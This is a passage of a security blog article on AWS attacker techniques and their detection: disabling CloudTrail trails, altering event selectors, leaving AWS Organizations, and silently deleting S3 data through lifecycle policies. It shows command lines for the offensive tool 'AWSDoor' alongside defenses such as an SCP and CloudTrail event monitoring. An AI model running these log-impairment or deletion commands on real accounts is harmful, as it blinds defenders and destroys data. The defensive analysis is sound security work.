<p style="text-align: justify;"><strong>In AWS environments, CloudTrail and CloudWatch are two core logging and monitoring services </strong>that play complementary roles, but they serve very different purposes. CloudTrail is designed to log all API activity that happens within an AWS Account. It records every call made through the AWS Management Console, AWS CLI, SDKs, and other AWS services. This means when someone creates an EC2 instance, modifies a security group, or deletes a resource, CloudTrail captures the who, when, where, and what of that action. <strong>These logs are essential for auditing, forensic investigations, and tracking changes made across the infrastructure.</strong></p>
<p style="text-align: justify;">CloudWatch, on the other hand, <strong>focuses on operational monitoring</strong>. It collects and stores logs from services and applications, tracks metrics like CPU usage or memory consumption, and supports alarms and dashboards for <strong>real-time visibility</strong>. When an application writes logs or when you want to monitor system performance, CloudWatch is the tool used. It can also be configured to receive and <strong>store logs from Lambda functions, EC2 instances, or custom applications.</strong></p>
<p style="text-align: justify;">Network logging is also proposed by AWS through the VPC Flow Logs or VPC Mirroring services. Even though they can be of use for security purposes, their main utility are more operational monitoring oriented. This article will focus on Cloud Trail service.</p>
<p style="text-align: justify;">CloudTrail is enabled and logs the event for 90 days. This service is a logging baseline that cannot be limited or disabled.  However, additional logging capabilities can be enabled with the definition of trails in CloudTrail.</p>
<p style="text-align: justify;">CloudTrail will keep the log records and guarantee their integrity for a 90 day period, after which the logs are purged from the Event History. If an organization wants to ensure greater retention time or perform a specific real time monitoring based on those logs, it has to configure a <em>trail</em>. This configuration will duplicate the logs and forward them to an S3 bucket, on which can be plugged further security tooling.</p>
<p style="text-align: justify;">As a Cloud administrator, it is possible to create and Organization Trail that will replicate itself in the all the targeted Organization Account. When set, it is not possible for a targeted account to delete / deactivate the trail.</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Stop logging</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">While it is not <strong>easily possible to impact the logging capabilities of CloudWatch</strong>, it is possible to impact those of CloudTrail by simply deactivating the logging capability.</p>
<p style="text-align: justify;">This feature <strong>allows to stop a trail from logging the event without deleting it</strong>:</p>
<p> </p>
<figure id="attachment_27432" aria-describedby="caption-attachment-27432" style="width: 850px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27432" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-437x148.png" alt="Trail with logging capabilities stopped" width="850" height="288" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-437x148.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-71x24.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-768x260.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1.png 1349w" sizes="auto, (max-width: 850px) 100vw, 850px" /><figcaption id="caption-attachment-27432" class="wp-caption-text"><em>Trail with logging capabilities stopped</em></figcaption></figure>
<p> </p>
<p>While this technique is effective to impair specifics logging capabilities, it has severs draws back:</p>
<ul>
<li>limited effect: even though a specific trail will be impacted, Organization Trails cannot be evaded this way. In addition, Event History with its 90 days unalterable retention period will still be available</li>
<li>Noisy action: even if the stopping command is not detected, most SIEM solutions trigger alarms when the log flow stops.</li>
</ul>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in AWSDoor:</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop -s<br />[+] Trail logging stopped on 'management-events'</pre>
<p> </p>
<p>The limitation is that this will only deactivate trails defined in the current account and won’t remove trails defined at the organization level.</p>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p>On the defender side, this technique can be simply detected by looking at the GUI moreover, CloudTrail also record the StopLogging event hinting that a Trail has been tampered.</p>
<p> </p>
<h4>Event selector</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p>In AWS CloudTrail, <strong>event selectors allow fine-grained control over what types of events a trail records.</strong> These selectors can be configured to log management events, data events, or both. Management events capture operations that manage AWS resources, such as launching an EC2 instance or modifying IAM roles. These are typically high-level API calls made through the console, SDK, or CLI and are critical for auditing administrative actions.</p>
<p>By default, <strong>trails log management events, but users can modify event selectors to exclude them</strong> partially or completely. This flexibility can be useful for reducing noise or cost in environments with heavy automation, but it also introduces a risk. An attacker with the right permissions could tamper with a trail&#8217;s event selectors <strong>to suppress specific types of logs, such as disabling management event</strong> logging, thereby impairing visibility into changes made during or after a compromise.</p>
<p>Therefore, by altering event selectors it is <strong>possible to degrade the CloudTrail logging capabilities</strong>, making it harder for defenders to detect unauthorized activity or investigate incidents.</p>
<p>The management event can be simply deactivated. For the data event, in order to avoid having blank field on the GUI it is possible to enforce the event selector configuration to only log event related to a none-existing resource:</p>
<p> </p>
<figure id="attachment_27434" aria-describedby="caption-attachment-27434" style="width: 790px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27434" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-381x191.png" alt="Logging event from a non existing resource" width="790" height="396" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-381x191.png 381w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-768x385.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-800x400.png 800w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1.png 1184w" sizes="auto, (max-width: 790px) 100vw, 790px" /><figcaption id="caption-attachment-27434" class="wp-caption-text"><em>Logging event from a non existing resource</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>AWSDoor can be used to <strong>reconfigure the event selector</strong> in order to prevent data and management event logging:</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop<br />[+] Adding event selector on management-events<br />[+] Management events disabled on trail 'management-events'</pre>
<p> </p>
<p>Once the script is run, <strong>the event selector is configured. The trail still appears as active</strong>:</p>
<p> </p>
<figure id="attachment_27436" aria-describedby="caption-attachment-27436" style="width: 807px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27436" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-437x136.png" alt="Trail still considered as active" width="807" height="251" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-437x136.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-71x22.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-768x238.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1.png 1192w" sizes="auto, (max-width: 807px) 100vw, 807px" /><figcaption id="caption-attachment-27436" class="wp-caption-text"><em>Trail still considered as active</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">However, <strong>the event selector prevents further event</strong> logging:</p>
<p> </p>
<figure id="attachment_27438" aria-describedby="caption-attachment-27438" style="width: 1120px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27438" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-280x191.png" alt="Event selector preventing logging" width="1120" height="764" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-280x191.png 280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-57x39.png 57w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-768x525.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word.png 1247w" sizes="auto, (max-width: 1120px) 100vw, 1120px" /><figcaption id="caption-attachment-27438" class="wp-caption-text"><em>Event selector preventing logging</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p>The creation of the event selector can be detected using the PutEventSelector event logged in CloudTrail:</p>
<p> </p>
<figure id="attachment_27440" aria-describedby="caption-attachment-27440" style="width: 779px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27440" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-159x191.png" alt="Event logged by CloudTrail" width="779" height="936" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-159x191.png 159w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-33x39.png 33w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-768x922.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1.png 880w" sizes="auto, (max-width: 779px) 100vw, 779px" /><figcaption id="caption-attachment-27440" class="wp-caption-text"><em>Event logged by CloudTrail</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Likewise, the analysis of the log collection and the volumetry would be an interesting IOC. If the log flow stopped, it is likely due to an attack.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Destruction</h2>
<p style="text-align: justify;">Attacks focused on data destruction are designed to <strong>cause important operational damage by permanently erasing or corrupting critical information and infrastructure</strong>. Unlike data exfiltration or privilege escalation, these attacks don’t aim to extract value or maintain access, but rather to disrupt business continuity, damage reputation, or sabotage systems beyond recovery.</p>
<p style="text-align: justify;">In cloud environments like AWS, <strong>destructive attacks can impact all types of resources</strong>, including storage resources, computing resources or configuration components like IAM roles and Lambda functions:</p>
<ul style="text-align: justify;">
<li><strong>Deleting S3 buckets</strong> can lead to the loss of backups, customer data, or reglementary / technical information (logging).</li>
<li><strong>Erasing EBS volumes or RDS snapshots</strong> can lead to total loss of application state or critical databases.</li>
<li>Formatting the AWS Account (by deleting all the possible services) can lead to a very long service interruption, even if the data are externally backup, especially if the infrastructure is not deployed through IaC, or if the IaC is destroyed as well.</li>
</ul>
<h2> </h2>
<h3 style="text-align: justify;">AWS Organization Leave</h3>
<h4 style="text-align: justify;">Organization Leave</h4>
<p style="text-align: justify;">AWS Organizations <strong>is a service that allows you to centrally manage and govern multiple AWS accounts</strong> from a single location. At the top of the hierarchy is the Organization service nested one management account (called the payer / master / management account) and one or more member accounts. These accounts can be grouped into organizational units, making it easier to apply policies or manage backup at scale.</p>
<p style="text-align: justify;">Each AWS account <strong>in an organization remains isolated in terms of resources and identity</strong>, but the organization can enforce policies such as Service Control Policies (SCPs) across all accounts that will enforce specific limitation on all accounts as a GPO does on a Windows domain. <strong>This structure is particularly useful for separating data and workloads</strong> by team, environment, or business unit while maintaining centralized governance.</p>
<p style="text-align: justify;">AWS also allows you to invite or attach an existing standalone account into an organization. This process can be initiated from the management account and requires the invited account to accept the request. Similarly, accounts can be detached and moved to another organization, though this action comes with restrictions. For example, certain AWS services or features may behave differently once an account is part of an organization, especially in terms of consolidated billing and policy enforcement. This capability can be useful for mergers, restructurings, or account lifecycle management but also opens up a possible attack vector if not closely monitored.</p>
<p> </p>
<figure id="attachment_27444" aria-describedby="caption-attachment-27444" style="width: 857px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27444" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-330x191.png" alt="Exemple of AWS Organization" width="857" height="496" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-768x444.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1.png 1223w" sizes="auto, (max-width: 857px) 100vw, 857px" /><figcaption id="caption-attachment-27444" class="wp-caption-text"><em>Exemple of AWS Organization</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">While the LeaveOrganization is a destructive operation, it can be also used to exfiltrate data before destruction. Instead of erasing all resources in a compromised AWS account, an attacker may choose to detach the account from the organization, retain all infrastructure intact, and slowly exfiltrate sensitive data.</p>
<p style="text-align: justify;">For example, a company is <strong>hosting a eShop application on AWS</strong>. The attacker who has compromised the AWS account uses the LeaveOrganization action to retrieve control over the eShop resource. This action removes the account from centralized control, effectively stripping away any Service Control Policies, centralized logging, or governance mechanisms previously enforced by the organization without impacting its availability.</p>
<p style="text-align: justify;">With full <strong>control over this now standalone account, the attacker can operate without oversight</strong>. The eShop continues functioning normally, serving customers and processing orders, but behind the scenes, the attacker has unrestricted access to all associated resources. They can read from S3 buckets, query the customer database, extract payment data, and silently exfiltrate banking information and personal details of every user without interrupting the service or triggering operational alarms.</p>
<p style="text-align: justify;">From the company’s perspective, <strong>once the account has left the AWS Organization, the security team loses visibility and administrative authority over it</strong>. They cannot easily shut down the impacted resources directly from their AWS account.</p>
<p> </p>
<figure id="attachment_27446" aria-describedby="caption-attachment-27446" style="width: 920px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27446" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-302x191.png" alt="Impact of AWS Organization leave" width="920" height="582" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-302x191.png 302w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-768x485.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1.png 1226w" sizes="auto, (max-width: 920px) 100vw, 920px" /><figcaption id="caption-attachment-27446" class="wp-caption-text"><em>Impact of AWS Organization leave</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Without admin access to the now-isolated account, <strong>the company has no way to disable services</strong>, suspend billing, or terminate the compromised infrastructure. This gives the attacker complete operational freedom, while the organization is left blind and unable to respond but request AWS Support.</p>
<p> </p>
<h4 style="text-align: justify;">Privileges needed</h4>
<p style="text-align: justify;">To execute the LeaveOrganization action and <strong>detach an AWS account from its organization</strong>, the attacker must possess <strong>elevated permissions within the targeted account</strong>. Specifically, the following conditions and IAM privileges are required:</p>
<ul style="text-align: justify;">
<li><strong>Account-Level Access</strong>: The attacker must have direct access to the member account they intend to detach. This means they must already be authenticated within that specific AWS account — either through stolen credentials, session tokens, or by exploiting vulnerable IAM roles or policies.</li>
<li><strong>organizations:LeaveOrganization Permission</strong>: This is the key IAM permission required to invoke the LeaveOrganization API call. It must be explicitly allowed in the attacker&#8217;s effective permissions. This action is only valid when executed from within the member account, not from the management account.</li>
<li><strong>Billing Access</strong> Although not strictly required to leave an organization, attackers with access to billing and account settings (via aws-portal:*, account:*, or billing:* actions) can further entrench themselves, update contact information, or lock out legitimate users after detachment. In addition most accounts created within an Organization are done so without payment details (because they inherits those from the payer account). However, for an account to be detached / standalone, it has to have this information filled.</li>
</ul>
<p> </p>
<h4 style="text-align: justify;">Defense and detection</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Preventing Unauthorized LeaveOrganization Calls</span></h5>
<p style="text-align: justify;">The most effective control is the use of<strong> Service Control Policies (SCPs).</strong> SCPs define the maximum permissions available to accounts within an AWS Organization and can explicitly deny the organizations:LeaveOrganization action, even if a local IAM user or role has been granted that permission.</p>
<p style="text-align: justify;">The LeaveOrganization operation is executed from within the member account itself, not by the management account. It means that an attacker does not need to fully compromise the AWS organization to perform the account detachment.</p>
<p style="text-align: justify;">The SCP, <strong>defined at the organization level, can prevent any user in the accounts to leave the organization</strong>. In this case, the attacker must first compromise the whole AWS organization before being able to perform the attack.</p>
<p style="text-align: justify;">The following policy will prevent any misuse of LeaveOrganization:</p>
<p> </p>
<pre style="text-align: justify;">{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "DenyLeaveOrganization",<br />      "Effect": "Deny",<br />      "Action": "organizations:LeaveOrganization",<br />      "Resource": "*"<br />    }<br />  ]<br />}</pre>
<p> </p>
<p style="text-align: justify;">This SCP should <strong>be attached directly at the root of the AWS</strong> <strong>Organization</strong> to ensure it applies to all member accounts. It ensures that no account can unilaterally leave the organization, even if compromised.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Detection and Monitoring</span></h5>
<p style="text-align: justify;">Even with SCPs in place, <strong>monitoring for LeaveOrganization attempts is essential for defense-in-depth</strong>. Indeed, even if the LeaveOrganization failed due to the SCP, having monitoring on the LeaveOrganization event could help detect the attack occurring on the AWS environment.</p>
<p style="text-align: justify;">For example, a CloudWatch Alarms to trigger alerts when the event LeaveOrganization or DisablePolicyType.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">S3 destruction</h3>
<h4 style="text-align: justify;">S3 standard deletion policy</h4>
<p style="text-align: justify;"><strong>Amazon S3 is one of the most widely used and trusted storage services</strong> within the AWS ecosystem. Organizations rely on it to store everything from logs and files to critical business data and backups. The destruction of S3 data can have far greater impact than the loss of a few compute resources, making it a high-value target for attackers.</p>
<p style="text-align: justify;">While uploading and storing data in S3 is straightforward, deleting large volumes of data is intentionally resource-intensive and time-consuming. When an S3 bucket is deleted or cleared, AWS performs a recursive, sequential deletion of every object meaning the process can take hours or days for large environments.</p>
<p style="text-align: justify;"><strong>Additionally, AWS enforces eventual consistency</strong> on object deletions, so even after a delete request, <strong>objects may temporarily persist</strong>. These design choices provide defenders with a crucial time window to detect and respond to deletion attempts before irreversible data loss occurs.</p>
<p> </p>
<h4 style="text-align: justify;">Lifecycle policy</h4>
<p style="text-align: justify;">Amazon S3 Lifecycle Policies provide an automated mechanism to <strong>manage the storage lifecycle</strong> of objects within a bucket. These policies allow users to define rules that transition objects to different storage classes or <strong>expire (delete) them after a defined period, based on criteria like object age</strong>, prefix, or tags. This automation helps organizations optimize storage costs and enforce data retention policies without manual intervention.</p>
<p style="text-align: justify;">However, <strong>lifecycle policies operate differently from manual processes</strong> and <strong>bypass the standard safeguards</strong> designed to slow mass deletions. An attacker who gains elevated privileges in an AWS account can create or modify a lifecycle policy that sets object expiration to the minimum allowed duration (1 day). <strong>Once applied, this policy is retroactive</strong>: all existing objects in the bucket will be marked for expiration and scheduled for removal, and all newly created objects will expire shortly after creation.</p>
<p style="text-align: justify;"><strong>Unlike manual deletions, lifecycle expirations are handled internally by AWS</strong> at scale and complete much faster. This can enable stealthy, rapid mass deletion of bucket contents without generating the volume of API calls or operational noise typical of manual recursive deletes. Since lifecycle policy changes may not trigger immediate or obvious alerts, such abuse poses a significant risk for undetected data destruction within AWS environments.</p>
<p style="text-align: justify;">As <strong>lifecycle</strong> <strong>policies are applied on a daily basis, the defender will have less than a day to detect the policy</strong> change, remove the deletion mark and revoke the attacker access.</p>
<p> </p>
<h4 style="text-align: justify;">AWSDoor</h4>
<p style="text-align: justify;">This technique is implemented on AWSDoor:</p>
<p> </p>
<pre style="text-align: justify;">python .\main.py --m S3ShadowDelete -n s3bucketname</pre>
<p> </p>
<h4 style="text-align: justify;">Detection</h4>
<p style="text-align: justify;">Detection of shadow deletions through S3 Lifecycle Policies can be easily missed because the deletion of objects via lifecycle expiration does not raise standard DeleteObject events in CloudTrail as manual deletions do.</p>
<p style="text-align: justify;">Instead, AWS internally handles the deletion process asynchronously, and it does not attribute the deletions to a specific user or role. Therefore, many security monitoring setups fail to recognize this as a malicious action aiming to impact data availability. <strong>The only reliable indicator of such an operation is the PutBucketLifecycleConfiguration API event</strong>, which logs the creation or update of a lifecycle rule by defining a new Expiration parameter.</p>
<p style="text-align: justify;">To detect potential abuse, a CloudWatch rule should be configured to monitor PutBucketLifecycleConfiguration events and automatically inspect the new policy configuration. If the policy includes an Expiration action set to the minimum allowed (1 day) or applies broadly to all objects this should be treated as a high-risk change.</p>
<p style="text-align: justify;">In sensitive environments, such configuration changes should trigger immediate alerts, <strong>automatic remediation</strong> and require manual approval. Since this method bypasses the typical audit trail of object-level deletes, early detection at the configuration level is essential to prevent silent and large-scale data loss: the defense team will only have one day to react.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Conclusion</h2>
<h3 style="text-align: justify;">CSPM</h3>
<p style="text-align: justify;">The article has shown how IAM configurations can be silently abused to maintain long-term access in AWS environments. Techniques such as AccessKey injection, trust policy backdooring, and the use of NotAction policies allow attackers to persist without deploying malware or triggering alarms.</p>
<p style="text-align: justify;">A Cloud Security Posture Management (CSPM) solution plays a key role in preventing these abuses. By continuously monitoring IAM configurations, detecting overly permissive policies, and identifying deviations from compliance baselines, a CSPM can surface suspicious changes early. For example, it can flag the creation of new AccessKeys on users who typically use SSO, or detect trust relationships established with external accounts. These capabilities help prevent IAM-based persistence from becoming entrenched.</p>
<p> </p>
<h3 style="text-align: justify;">EDR</h3>
<p style="text-align: justify;">Beyond IAM, attackers can leverage AWS resources themselves—such as Lambda functions and EC2 instances—to maintain access. The article detailed how poisoned Lambda layers, over-privileged roles, and SSM-based reverse tunnels can be used to persist without modifying IAM directly.</p>
<p style="text-align: justify;">A Cloud EDR complements CSPM by focusing on runtime behavior and execution context. It can detect unusual Lambda executions, unexpected API Gateway exposures, or EC2 instances initiating outbound tunnels. By correlating these behaviors with identity context and recent configuration changes, a Cloud EDR can surface persistence techniques that would otherwise go unnoticed. This behavioral visibility is essential to detect resource-based persistence in real time.</p>
<p> </p>
<h3 style="text-align: justify;">Backup and logging</h3>
<p style="text-align: justify;">Finally, the article explored how attackers can impair visibility and recovery by targeting logging and backup mechanisms. Disabling CloudTrail, modifying event selectors, deploying lifecycle policies for silent S3 deletion, or detaching accounts from AWS Organizations are all techniques that reduce oversight and enable long-term compromise or destruction.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Here again, CSPM and EDR provide complementary defenses. A CSPM can detect misconfigurations in logging pipelines, unauthorized lifecycle policy changes, or attempts to leave the organization. Meanwhile, a Cloud EDR can detect the absence of expected telemetry, sudden drops in log volume, or destructive API calls. Together, they ensure that visibility and recovery capabilities remain intact—even under active attack.</p>


<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/">AWSDoor: Persistence on AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Deceptive Security: the solution for effective detection in the cloud? – Deceptive use example in AWS cloud </title>
		<link>https://www.riskinsight-wavestone.com/en/2024/02/deceptive-security-the-solution-for-effective-detection-in-the-cloud-deceptive-use-example-in-aws-cloud/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2024/02/deceptive-security-the-solution-for-effective-detection-in-the-cloud-deceptive-use-example-in-aws-cloud/#respond</comments>
		
		<dc:creator><![CDATA[Etienne Lafore]]></dc:creator>
		<pubDate>Fri, 16 Feb 2024 16:55:48 +0000</pubDate>
				<category><![CDATA[Focus]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[Deceptive security]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=22490</guid>

					<description><![CDATA[<p>Today, cyber-attacks are part of our daily lives, and are becoming increasingly common and sophisticated.    Simultaneously, we are moving towards Information Systems that are built on an ever-increasing diversity of environments, thanks in particular to the Cloud, which is now...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/02/deceptive-security-the-solution-for-effective-detection-in-the-cloud-deceptive-use-example-in-aws-cloud/">Deceptive Security: the solution for effective detection in the cloud? – Deceptive use example in AWS cloud </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><span data-contrast="none">Today, cyber-attacks are part of our daily lives, and are becoming increasingly </span><span data-contrast="none">common </span><span data-contrast="none"> and sophisticated.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">Simultaneously, we are moving towards Information Systems</span><span data-contrast="none"> that are</span><span data-contrast="none"> built on an ever-increasing diversity of environments, thanks in particular to the </span><b><span data-contrast="none">Cloud,</span></b><span data-contrast="none"> which is now an integral part within corporate Information Systems. This enables </span><span data-contrast="none">corporations </span><span data-contrast="none">)</span> <span data-contrast="none">to expand their capabilities, however it </span><span data-contrast="none">is </span><span data-contrast="none">also the surface area </span><span data-contrast="none"> for </span><span data-contrast="none">risk</span><span data-contrast="none"> of attack</span><span data-contrast="none">s</span><span data-contrast="none">.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">Conventional intrusion detection and protection techniques already exist and are developing exponentially. These are effective against the most common attacks, however are not always adapted to the specificities of the Cloud.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">This raises questions about the use of </span><b><span data-contrast="none">proactive strategies</span></b><span data-contrast="none">, such as </span><b><span data-contrast="none">Deceptive Security</span></b><span data-contrast="none">, to stay one step ahead of attackers. Particularly in the context of Cyber-Resilience</span><span data-contrast="none">;</span><span data-contrast="none"> how can this kind of technology be used in both a traditional and a cloud environment?  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p><i><span data-contrast="none">When should Deceptive Security techniques be used? Are Deceptive Security solutions in the Cloud being developed today? Are there any specific strategies to consider in a Cloud environment as opposed to a traditional one? </span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">We will answer these questions in a </span><b><span data-contrast="none">mini-series of 2 articles</span></b><span data-contrast="none">. In the first article, we showed how to develop and evaluate your decoy strategy. In the second article, we’ll present a practical example of deceptive security in AWS. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p aria-level="1"> </p>
<h2 aria-level="1"><span data-contrast="none">Initial assumptions and choice of scenario  </span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:0,&quot;335559740&quot;:259}"> </span><span data-contrast="none"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></h2>
<p><span data-contrast="none">Thanks to Wavestone&#8217;s expertise and the resources shared by our CyberLab, we have designed a simple scenario to illustrate the use of decoys </span><b><span data-contrast="none">in an AWS Cloud environment</span></b><span data-contrast="none">. The example detailed below is inspired by a CTF (Capture The Flag) scenario designed by the CyberLab team to illustrate the lateral propagation of an attacker. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
